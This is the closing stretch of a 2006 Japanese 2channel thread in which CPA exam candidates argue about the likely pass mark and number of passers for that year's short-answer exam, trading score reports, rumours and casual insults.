916 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:48:34 ID:???
俺も66だが、他にもいるんじゃね?
これみてレックが変えてきそうw

917 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:49:08 ID:???
俺は65

918 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:49:29 ID:???
70点基準で65がありえるなら75もありえるな。

919 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:49:45 ID:???
>>915

「俺の周り」粘着君乙!

920 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:49:58 ID:???
俺の仲良しグループは1人だけ76
おれは71
後の5人は60〜64

921 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:49:58 ID:YlU/TE+M
64まではわからないが
論文の採点方法変更を考慮すると
5000人の大激戦となる可能性大!!
租税をまじめに直前までやっていた
人を考えれば80以上の短答特化生は
余裕ないかもよ。
俺のことか・・・

922 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:50:56 ID:???
確かに担当特化してきた奴にとっては低い点数での合格者は逆に脅威だな

923 :一般に公正妥当と認められた名無しさん :2006/06/30(金) 02:51:57 ID:???
65=5000人に一票

924 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:52:18 ID:YlU/TE+M
ちなみに短答特化指令が出た予備校ある??
大原はあくまで一発全科目合格を指令してなかった??
タックとかは特化指令出た??
と、考えると意外と低い可能性大

925 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:53:14 ID:p4NwVRtw
ある試験では 7割基準であったが 合格ラインが63.2%っていうのが 普通にあった件について



926 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:53:17 ID:???
>>910
初受験?
去年までの短答受けたことある奴は絶対そんなこと言わないから。
理論10問20分で解いたことねえだろ?

927 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:56:16 ID:YlU/TE+M
大原ではよく言ったなかった??
短答で足元すくわれないように・・・
長谷川か??
短答合格=会計士という構図は成り立たないから
ベテだって(俺?)ぎりぎりまで租税やってました。
といいつつ1ヶ月は短答特化してしまい、今苦労してます。
よって意外とボーダーは低い!!
かつ記念受験者も今年は激増しているはず。
07入門生も果敢に受けてたみたいだし

928 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:56:27 ID:???
なんの国家資格?
ソースと平均だせよ。


929 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:57:16 ID:???
おーい、誰か「今年から合格者増加じゃなくて漸進的に増加させていく」
ことに対して反論できる奴いないか?
合格者増加増加って今年増やしすぎてアトの年の事ぜんぜん考えてないようだけど、
そこら辺はどうなの?
自分さえよければいいってこと?

930 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:58:16 ID:p4NwVRtw
928は 人に頼む時の態度を 改めたほうが いい件について

931 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:58:42 ID:???
>>926
もうやめようぜ。
こいつらどうせ65前後組だろ?
都合の良い解釈をするようだからそんな点数しかとれないんだよ。


932 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 02:59:06 ID:???
おれは理論素早く解くほうが良かったな〜
早く解くと感が冴えるんだよねw
時間に余裕があってもわかんねぇもんは
わかんねぇしw

933 :公正妥当と認められた名無しさん:2006/06/30(金) 03:01:13 ID:YlU/TE+M
>>926
今年目標の入門生です。知ってる大原入門生では70超は知っている限り
一人です。知らない入門生で超えている人はいると思うが。
どうしてもそんなにボーダーが高いとは思い切れないんですけど・・・


934 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:02:14 ID:???
でも今年の監査13、14とかは、多分旧制度の解答時間だと
2択から絞れなかったと思う

935 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:04:29 ID:???
そもそも去年の論文落ちが2400人くらいいるんだぞ
2000人程度は今年も受けてるだろ?
今年は過年度短答合格者は波乱なく高得点とってるらしいよ

936 :公正妥当と認められた名無しさん:2006/06/30(金) 03:04:41 ID:YlU/TE+M
>>929
反論いたします。
来年以降に試験委員増やせば済むことですから。
逆に例年通りの合格者数出す意味は何ですか?
今年の論文採点は楽だな〜なんていうことを
考えているのでしょうか?

937 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:06:21 ID:???
おでのゼミの先生は試験員。
論文の採点期間が長いから合格者増やすんだろ?って聞いた。
そしたらあの糞ジジイ「今年は論文の採点方法について、従来と変えたから
調整のしかたや諸事情のために1月延ばしたと。来年からは今年の採点方法の
ベースが出来上がるから通常の2ヶ月間に戻す」と。
なんだよ!!あんま増えね〜のかよ(怒)

938 :公正妥当と認められた名無しさん:2006/06/30(金) 03:06:33 ID:YlU/TE+M
>>935
うち撤退組みはどの程度なんですか?
全員が今年の担当に挑んでいるのでしょうか?

939 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:06:37 ID:p4NwVRtw
タックと大原の リサーチ提出は 俺の周りの連中15人くらいで みな80前後に いつわった件について
他にも こんなことしてる連中がいる件について

それにダマされ煽られ 7月5日から あわててやっても もう間に合わない 65前後のかたたちに みんなで 乙を言う件について



940 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:07:07 ID:???
>>929
今年からある程度短答合格者増やさなきゃ
会計士増やす方向で新試験制度になったのに
やっぱり合格者増えないじゃんって印象を社会に
与えるんでない?短答合格者数もニュースでとりあげられる
でしょ?
また今年は合格者絞るのに来年以降徐々に増やしてく
っていうんじゃ年度ごとの難易度が変わっちゃうじゃん。
よって新試験制度になった今年からある程度は
合格者を増やしていくと思う。キャパ全開には増えない
だろうけど。

941 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:08:28 ID:???
>>940
論文合格増やした方がインパクトあるだろ

942 :公正妥当と認められた名無しさん:2006/06/30(金) 03:09:06 ID:YlU/TE+M
高い点数出して廻りを意気消沈させる作戦もあるかもしれませんね〜
やはりボーダーは意外と低い!!

943 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:09:14 ID:???
>>933
残念ですがきみのまわりの知ってる入門生はバカなんだよ。
秋にステップ一緒に受けるようになったらわかるよ。

944 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:11:25 ID:???
>>942
そんなん毎年行われてるよ。それで例年あのボーダー。
なんで今年だけってなるのか?→自分に都合いい情報しか入らない空頭。

945 :公正妥当と認められた名無しさん:2006/06/30(金) 03:12:20 ID:YlU/TE+M
そもそも税理士が「じゃあうけてみっか」
見たいな感じで適当に管理・企業やったって
1〜2ヶ月あれば70以上は取れる
そして彼らはリサーチに出す。当たり前のように
平均はあがる。各予備校は科目数に応じた平均を開示すべき!!

946 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:12:39 ID:???
>>941
だから、論文合格者増やすためにはある程度の
母集団が必要なの。論文受けた人の40%くらいが
最終合格するっていう現状を嫌ったらしいじゃん。

947 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:13:52 ID:???
受験2回目以上の8割は70超えてる。
ここにいるのって初回受験のやつと受験二回目以上だけど下二割のやつだけだから。

948 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:14:06 ID:???
>>945
1〜2ヶ月で70以上いくかよw

949 :公正妥当と認められた名無しさん:2006/06/30(金) 03:15:13 ID:YlU/TE+M
>>942
そりゃ、俺の知らない入門生はもっと点数高いかもしれませんよ
しかし70オーバーが最大勢力ではないようです。
もっとも過年度合格者は別世界だとは思いますが。

950 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:15:14 ID:???
>>938
ちゃんと書いてるだろ。
俺はボーダー72論者だが68までは確かに可能性はあると思う。
ただそれ未満はありえない

951 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:16:31 ID:p4NwVRtw
946じゃないが 論文式の 倍率は 3倍以上にすると 言われている件について(司法はもっと高い)

952 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:16:37 ID:???
>>936
まず、一つ誤解がある。
例年通りの合格者を出すだろうとは一言も言ってない。
漸進的に増えるだろうと上で言っているよ。
そして936へ反論。
他資格・過年度を傾向を見て試験委員の数はそうころころ変わっていない。
試験委員の採点の困難さに対して逐一対応させて試験委員の数を変動させることは役所がするとは現実的に考えてありえない。
今年の試験委員にとっては採点枚数が少ないだろうが、来年・再来年で負担は増えていくので問題は無い。

では再度質問だが、
監査と租税の採点枚数は士補の分も含めると他科目に比してかな多い枚数になるけど、
試験委員自体は企業法・管理会計と同じ12人。
なぜ今年の採点枚数を考慮してこの2科目の試験委員数を多めにしなかったのか?
これは審査会が試験委員数を単に今年の採点負担を考慮して決定したのではなく近い将来士補がいなくなることを見越して数を決定したにすぎないのではないのかと思うがそれに対して
あなたはどう思ってる?

953 :公正妥当と認められた名無しさん:2006/06/30(金) 03:19:28 ID:YlU/TE+M
>>950
同意しますよ。楽しみですね〜
7・5の人数が
ちなみに俺は現試験委員の子分です
言い方悪いが飲み仲間

954 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:20:02 ID:???
>>949
短答は落とすためのもの。
特に入門生は格好の餌食。
俺、去年1.5年後発だったけど一緒にはじめた奴で短答受かった奴いなかったよ。
短答ぐらい誰でもうかるとか思ってんの?


955 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:20:11 ID:???
>>945
何がいいたいのかさっぱり分からん。真性の馬鹿だな。
税理士が管理・企業1〜2ヶ月やって70以上とれるなら、
1年近く会計士の勉強して70取れんお前らはほんと屑じゃないか?w
お前の意見でいう税理士の方が1〜2ヶ月で70割とれるような試験の
ボーダーが6割台でいいのか?運転免許試験じゃないんだよw

956 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:20:37 ID:5FdHhnTi
7割基準にビビってリサーチ出さないことは無い。
毎年7割付近だったでしょ。

したがって、リサーチの信憑性高し。

957 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:21:50 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーとして68未満の可能性の放棄を決定した・・・。

958 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:22:14 ID:???
>>952
お前、ボーダー超えてるんだろ?
あんまり65前後しかとれなかった奴らをいじめるなよw
ただ俺はリサーチの平均があれだけ高いのに65辺りで合格したいと思う奴らはむかつくね
あつかましいよ。頑張った連中に失礼

959 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:23:24 ID:???
みんな7割以下リサーチ出してないと言ってるけど、
タックのリサーチ見る限りそこまで7割以下が出していないようには見えないんだが。
過年度のリサーチと比較しても削れてるようにも見えないし。
他校のリサーチは知らないけど。

960 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:24:18 ID:???
>>958
ハケドウ!


961 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:25:28 ID:???
士補がはけてから短答合格者増やすじゃ、
士補がいる間の受験生との釣り合いが取れない。
合格者絞られたら難易度高くて不公平やし。

ちなみに例年の三次試験て試験委員どのくらいいたの?

962 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:26:23 ID:???
2ちゃんねる会計板短答スレ最高評議会は平成18年度公認会計士短答式試験のボーダーとして70未満の可能性の放棄を決定した・・・。

963 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:28:07 ID:???
>>961
金融庁は別枠は設けないと言ってたけど、
基本的に志保と一般受験生を同列に考えないほうがいいよ。
同じ試験を受けるけど、全く別の次元にいると考えたほうがいい。


964 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:30:03 ID:???
>>953
ほんと馬鹿丸出しw
>ちなみに俺は現試験員の子分です 言葉は悪いが飲み仲間
もう、嘘も丸出しwなんで、そんなお前がこんな時間に2ちゃんうろついて
しかも、「各予備校は科目数に応じた平均点を開示すべき!」なんて下らない
書き込みしてんだよ。試験員と仲良ければ予備校データなんかに頼らずに
何かしらの情報を掴んでんだろ?w
で、守秘義務があるから現試験員は何も教えてくれない。っていうの?w
だったら、子分とか飲み仲間ってわざわざ紹介する意味がないじゃんwww


965 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:30:49 ID:???
>>963
ってことは士補がいるから一般の合格者を
抑えるってことはないってことだよね?

966 :公正妥当と認められた名無しさん:2006/06/30(金) 03:31:07 ID:YlU/TE+M
>>952
論文試験当日にわかりますよ
ポイントは今年から問題用紙がA4に変わったこと。
すなわち例年通りの記述量だとものすごい解答用紙の枚数になります。
てことはそこそこの枚数に抑えます。
そして(これはかなり推測)仮に税理士が短答突破してきたら
租税免除ですから。
監査は解答量減ります。考えてじっくりと書かせるタイプに変わります。
そして志保はさすがに今年はかなり勝負かけるでしょう。
今年採点しきれば来年はたいした量ではないので来年度は
ノーマルな採点量に収まると思いますが。
そして、当然に一括・もしくは科目合格ありますから?
まだ不順分ですか?

967 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:34:24 ID:p4NwVRtw
ボーダー
企業16 監査13 管理14 財務22で
65 合格者数5000人 は ないことではない。

968 :公正妥当と認められた名無しさん:2006/06/30(金) 03:35:19 ID:YlU/TE+M
>>953
信じないのであればそれで結構です。
じゃあ質問です。監査の疑義問題がなぜ問い10以降に
集中したか、そして例年みたいに仮に疑義のある問題について
早めに対応できなかったか?(これは試験委員の中では疑義と思われていない可能性もありますけどね)
さらに短答5000人説の根拠はどこにあるのか?
教えてください

969 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:35:48 ID:5FdHhnTi
財務22は、無い。

970 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:37:13 ID:???
>>966
こいつもう見てられないw
お前、試験委員と仲は良いみたいだが会計士補の知り合いいないだろw
いや、しかしこいつの都合の良い解釈はある意味すごいわw

971 :公正妥当と認められた名無しさん:2006/06/30(金) 03:37:55 ID:YlU/TE+M
>>967
限りなく近いものと思います。
タックの誰かが5000人短答突破説の根拠をタック生は知りませんか?
独りよがりであればそんなこといわないと思いますが。
ぜひともその根拠をタック性に聞きたい!


972 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:38:49 ID:???
>>967
うわ〜、企と監と管の正解数がおれと完全に一致だw
でもおれは財で28で少しは救われたんだけどさ。
企と監と管で全然ふるわなくて、財で少し持ち直した
奴って少ないのかなw

973 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:40:29 ID:???
1つ、試験委員は自分の作った問題以外の内容を知らない
1つ、試験委員は合格者数を知らない
1つ、試験委員は答案用紙の様式を知らない

974 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:40:33 ID:???
>>970
びち太郎といい変なやつが多いよなwしかも、びちより地頭悪い。
俺は970ではないぞ!自演とか言いだすクズがいるからね。

975 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:40:36 ID:???
>>968
例年の疑義の対応ー?
会計士試験史上去年だけだよw
はい、終わりw

976 :公正妥当と認められた名無しさん:2006/06/30(金) 03:42:21 ID:YlU/TE+M
>>970
都合のよい解釈の根拠を聞かせてください。
仲がよいのは残念ながら事実です。
ただし当然ながら守秘義務がありますので実は完全に事実を
伝えられていない懸念もあります。
会計士穂の知り合いは一人しかいませんがそれが何か関係ありますか?

977 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:42:25 ID:p4NwVRtw
レックの平均とクレの平均をさらに平均して ボーダー予想として のせたにすぎないが
財務22は ないと言われた件について

978 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:43:42 ID:???
すんげえ伸びてるね
しかもボーダー65?
さすがにそれはきついべ
68〜72だと思う
そしておれは疑義全て多数派の73
サプライズに怯える毎日


979 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:45:51 ID:???
>>978
監査19以外は多数派であってるよ

980 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:46:10 ID:p4NwVRtw
タックボーダー76
75以下 乙

981 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:46:32 ID:???
>>974
お、お前も、びち親衛隊の隊員?w
こいつがたち悪いのは嘘つくから

982 :公正妥当と認められた名無しさん:2006/06/30(金) 03:46:33 ID:YlU/TE+M
面倒なんで通称「山田」としておきます。
自分のレスを読み返すと確かに支離滅裂的なところもありますね
眠いし。でももうちょっとだけボーダー論議したい
60代後半説を支持する山田としては。

983 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:48:02 ID:5FdHhnTi
平成18年から実施される公認会計士試験については、
短答式試験の合格基準が人数による基準から得点による基準に変更されることに伴い、
短答式試験の合格者が大幅に変動する可能性が考えられる。
論文式試験の採点答案枚数に対応して採点精度を確保するため、
大問1問につき複数の試験委員により分担して採点する。

984 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:48:22 ID:???
次スレ頼むわ

985 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:49:12 ID:???
>>966
かなりの点でかなり恣意性の高い推論が含まれすぎてるね。
あとところどころ理解に苦しむポイントがあるように感じる。
それじゃあ到底説得力があるとはいえない。
(問題点@)
A4→記述量減る:
ソースは何?少なくとも私にとっては初耳。問題用紙の大きさには昔から批判があったよ。
(問題点A)
士補は今年に勝負をかける+今年採点しきる:
これはどうだろう?
少なくとも聞いた話では平日激務土曜補修所の彼らにとって8月の試験の勉強に時間を割くのはかなり大変だとのこと。
中には今年の受験を回避したものをあると聞いた。

ソースの無い推論の上の推論では説得力ないよ。
というかそれ以前に953の答えになっていないようにも思われる。






986 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:53:29 ID:???
>>976
>>985が言う通り会計士補は今年、特に租税に関しては諦めている奴多数だよ

987 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:53:54 ID:p4NwVRtw
タック短答全答練受験者4500人

大原短答全答練受験者3300人

よって およそ8000人の勝負となる。

8000人の一番下が58だとすると
6000人合格の場合 ボーダー63
5000人合格の場合 ボーダー65
4000人合格の場合 ボーダー67

988 :山田:2006/06/30(金) 03:53:58 ID:YlU/TE+M
そもそもボーダーを高く設定したいという方々の意図が
よくわかりません。
最小限の人数で50%の合格率を求めているような機もします。
短答30%×論文30%=9%やら
短答40%×論文20%=8%やら
いろんな調整方法がありえませんか?
そして内部統制報告制度の導入を考えれば
監査法人や一般企業に会計士を送り込む必要性もあるような気もしますが。
そしてよい会計を出すには数増やして淘汰させるのが
一般的にも思えますが?違いますかね〜

989 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:56:54 ID:???
>>983
合格者が大幅に変動するのは7割基準ではないよ
仮に今年4000人合格したら来年は2000人くらいでしょ?
大幅に変動してるよね?

990 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 03:58:49 ID:???
>>988
どうもあなたは誤解が多すぎる。
個人的な感情でボーダーを高くしたいのではないよ。
あとあなたは会計士を増やすべきと述べているが、
私は短答合格者数の話をしているのであって最終合格者数云々の話をしているのではない。
論点ずれだね。
論点ずれしているのでないのか?


991 :山田:2006/06/30(金) 04:00:46 ID:YlU/TE+M
>>985
ソースはまじめに言えません。
ヒント与えるとすればは親しいアカスク生に聞いてみてください。
社会人経験者の私としては3年程度の実務しか経験していない人は
普通は戦力外です。予備校にもいませんか?意外に早い時間から
スーツ着て租税しに来ている人。通常の企業ではあんな時間から
勉強しに来る人はいませんよ(といいつつあまり説得力ないかも)。

992 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 04:00:59 ID:p4NwVRtw
山田花子 いいこと 言ってるじゃん!
じゃあ 俺も 光浦(みつうら)と申します。
論文式の倍率を3倍以上にするという情報から 短答合格者は4500人超えてくるのではないかと

ということは ボーダー65




993 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 04:03:15 ID:???
>>988
今年の試験を受けて、マジに6割半ばで合格だと考えてるのか?
満点者続出という去年まではありえない状況の企業法
一部変な問題が混ざっていたものの、論文対策と消去法で7割は固い監査論
ほぼ基礎答錬レベルの問題で構成されていた管理会計

994 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 04:04:19 ID:???
>>988
>短答30%×論文30%=9%やら
>短答40%×論文20%=8%やら
>いろんな調整方法がありえませんか?

この段階では論文合格者は増えてないのに・・・・

>そして内部統制報告制度の導入を考えれば
>監査法人や一般企業に会計士を送り込む必要性もあるような気もしますが。
>そしてよい会計を出すには数増やして淘汰させるのが

ここでは論文合格者を増やすべきと言っているね。

論理の飛躍では?




995 :光浦:2006/06/30(金) 04:05:00 ID:p4NwVRtw
今回は 監査 企業で差をつけたかったやつ乙 そんなくそ試験を作った バカ試験委員乙

996 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 04:05:09 ID:???
>>976
山田くんが都合いい解釈をしている件について。
1.>>910普通に考えればミスが多くなる。
ミスの数は難易度に依存するが、同じ難易度で時間的余裕があれば…。
2.>>933
君の周りだけのサンプルで全体を推定されても…
3.>>945
税理士が1〜2月で(ry 仮説の前提が自分の思い込むからスタートw
4.>>971
タックは企業法を新傾向で対策しましたが、出題は旧形式でした…。
タックアベ5000人説を自ら聞いたわけでもないのに妄信している。

997 :山田:2006/06/30(金) 04:07:54 ID:YlU/TE+M
>>988
では質問。短答合格者=良い会計士、
または論文合格者=良い会計士
どちらのほうがいいのでしょうか?
普通に考えて論理的思考と短答的暗記能力
どちらが社会に貢献できるのでしょうか?
答えになってないかもしれませんが
短答はあくまで就職活動で言う適性検査にしかおもえないのですが?

998 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 04:10:07 ID:???
>>995
あんまり自分の失敗を人のせいにするもんじゃないよ
85とった俺的には力が反映される良問だった。試験委員GJ!
で、1000

999 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 04:10:51 ID:???
>>988
君が低く設定したいのがみえみえで、君の方が変なんだよ。
7割と明示してあるのに、下に下げる積極的意味がないじゃん。


1000 :一般に公正妥当と認められた名無しさん:2006/06/30(金) 04:11:43 ID:???
1000なら山田光浦残念!
72でしたw

1001 :1001:Over 1000 Thread


−−−−−申し込み受付終了−−−−−
このスレッドの申し込みは1000を超えました。
以後は次のスレッドにてお申し込み下さい。
皆さんの努力が報われますように。

┏━━━━━━━━━┓
┃ 200X年度 XX試験  ┃
┃ 第774号 モナー.  .┃
┃ ┌──────┐ ┃
┃ │   ∩_∩   | ┃     会計全般試験@2ch掲示板
┃ │  ( ´∀` )  | ┃     http://school5.2ch.net/exam/ 
┃ │   (     . ). | ┃
┃ └──────┘ ┃
┗━━━━━━━━━┛



226 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)